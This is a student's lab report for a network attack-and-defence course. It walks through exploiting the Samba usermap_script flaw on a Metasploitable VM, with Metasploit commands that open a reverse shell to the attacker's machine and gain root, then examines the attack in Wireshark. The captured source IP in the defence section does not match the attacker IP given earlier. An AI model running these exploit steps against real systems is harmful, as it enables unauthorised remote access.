20212914 2021-2022-2 《网络攻防实践》第七次(第九周)作业
1.实践内容
1.1 实践介绍
(1)使用Metasploit进行Linux远程渗透攻击
任务:使用Metasploit渗透测试软件,攻击Linux靶机上的Samba服务Usermap_script安全漏洞,获取目标Linux靶机的主机访问权限。实践步骤如下:
①启动Metasploit软件,可根据个人喜好使用msfconsole、msfgui、msfweb之一;
②使用exploit:exploit/multi/samba/usermap_script渗透攻击模块;
③选择攻击PAYLOAD为远程shell,(正向或反向连接均可);
④设置渗透攻击参数(RHOST,LHOST,TARGET等);
⑤执行渗透攻击;
⑥查看是否正确得到远程Shell,并查看获得的权限。
(2)实践作业:攻防对抗实践
-
攻击方:使用 Metasploit ,选择 Metasploitable 靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得root权限。
-
防守方:使用 tcpdump/wireshark/snort 监听获得网络攻击的数据包文件,结合 wireshark/snort 分析攻击过程,获得攻击者的IP、目标IP和端口、攻击发起时间、攻击利用漏洞、使用Shellcode、以及成功之后在命令行输入的信息。
1.2 知识总结
Linux 系统远程攻防技术
从远程网络上侵入 Linux 系统的主要方法在目前来说,不外乎如下四种:
对 Linux 系统各种网络服务的身份认证过程所涉及的用户口令字进行猜测攻击,期望破解出某一服务真实有效的用户账户和口令,从而假冒该用户的身份进入系统。
发掘 Linux 系统某个监听网络服务的安全漏洞并进行利用,在攻击目标服务进程中注入攻击负载模块代码进行执行,从而为攻击者提供本地 Shell 的访问权。
通过网页木马、发送欺诈邮件、提供特洛伊木马程序等技术和社会工程学手段,来攻击客户端程序和用户,由客户端软件或用户来安装和执行恶意程序,从而主动向攻击者打开 Linux 系统的大门。
在 Linux 系统作为连接多个网络的路由器,或者打开“混杂模式”实施网络嗅探的监听器时,可能遭受攻击者特意构造的数据包攻击,从而被攻击者取得访问权。
SMB
在NetBIOS出现之后,Microsoft就使用NetBIOS实现了一个网络文件/打印服务系统,这个系统基于NetBIOS设定了一套文件共享协议,Microsoft称之为SMB(Server Message Block)协议。这个协议被Microsoft用于它们Lan Manager和Windows NT服务器系统中,而Windows系统均包括这个协议的客户软件,因而这个协议在局域网系统中影响很大。随着Internet的流行,Microsoft希望将这个协议扩展到Internet上去,成为Internet上计算机之间相互共享数据的一种标准。因此它将原有的几乎没有多少技术文档的SMB协议进行整理,重新命名为 CIFS(Common Internet File System),并打算将它与NetBIOS相脱离,试图使它成为Internet上的一个标准协议。因此,为了让Windows和Unix计算机相集成,最好的办法即是在Unix中安装支持SMB/CIFS协议的软件,这样Windows客户就不需要更改设置,就能如同使用Windows NT服务器一样,使用Unix计算机上的资源了。与其他标准的TCP/IP协议不同,SMB协议是一种复杂的协议,因为随着Windows计算机的开发,越来越多的功能被加入到协议中去了,很难区分哪些概念和功能应该属于Windows操作系统本身,哪些概念应该属于SMB 协议。其他网络协议由于是先有协议,实现相关的软件,因此结构上就清晰简洁一些,而SMB协议一直是与Microsoft 的操作系统混在一起进行开发的,因此协议中就包含了大量的Windows系统中的概念。
2.实践过程
2.1 使用Metasploit进行Linux远程渗透攻击
kali攻击机ip:192.168.75.128。
Metasploitable靶机ip:192.168.75.130。
在kali中输入msfconsole进入Metasploit。
然后执行命令【use exploit/multi/samba/usermap_script】选择渗透攻击模块。
通过【show payloads】会显示出有效的攻击载荷。
然后通过命令【set payload cmd/unix/reverse】设置打开反向连接的载荷。
接下来使用【set LHOST 192.168.75.128】设置攻击机IP地址,使用【set RHOST 192.168.75.130】设置靶机IP地址。
usermap_script是Samba协议的一个漏洞CVE-2007-2447,用户名映射脚本命令执行;通过指定一个包含shell元字符的用户名,攻击者能够执行任意命令
执行命令【exploit】发起攻击
输入【ifconfig】查看IP,与靶机IP一致,本次渗透攻击成功。执行whoami查看获得权限为root。
2.2 实践作业:攻防对抗实践
攻击方
在kali中输入msfconsole进入Metasploit
- 通过命令use exploit/multi/samba/usermap_script使用渗透攻击模块;
- 输入指令set PAYLOAD cmd/unix/reverse设置攻击的PAYLOAD为cmd/unix/reverse;
- 输入指令set LHOST 192.168.75.128设置攻击机地址;
- 输入指令set RHOST 192.168.75.130设置靶机地址;
- 通过run开始攻击。
使用指令whoami发现执行权限是root,使用指令ifconfig来查看靶机网络状态
防守方
通过wireshark进行抓包,分析攻击过程的可以获得的信息。
可以看到首先攻击机向靶机发送一个SMB的Negotiate Protocol Request(协商协议请求)数据报。
服务器响应一个SMB的Negotiate Protocol Response(协商协议响应)数据报。
然后攻击机向靶机发起一个Session setup X request(会话设置请求)数据报,靶机确认身份后发送一个Session Setup X Response(会话设置响应)数据报同意本次连接。
查看攻击发起时间,时间是Apr 28, 2022 05:25:51。
还能获取到以下信息:
源地址:192.168.74.128
目的地址:192.168.75.130
源端口:32909
目的端口:139
3.学习中遇到的问题及解决
- 问题1:实践二中kali依旧离线下载nessus失败,尝试用winXP的nessus时打不开,但网络连接正常。
- 问题1解决方案:准备换一下kali源再试试,winXP中nessus打不开的问题,可以找到nessus安装文件所在位置,以管理员身份运行一下nessusd.exe,然后再刷新一下网页,成功打开!
4.实践总结
通过本次实践对Linux系统的攻防有了基本的了解,能够进行一些简单的漏洞攻击,不过很多分析还比较浅显。总的感觉还是实践操作起来还行,但原理的理解不透彻,很多内容看过就忘,还是要多回顾。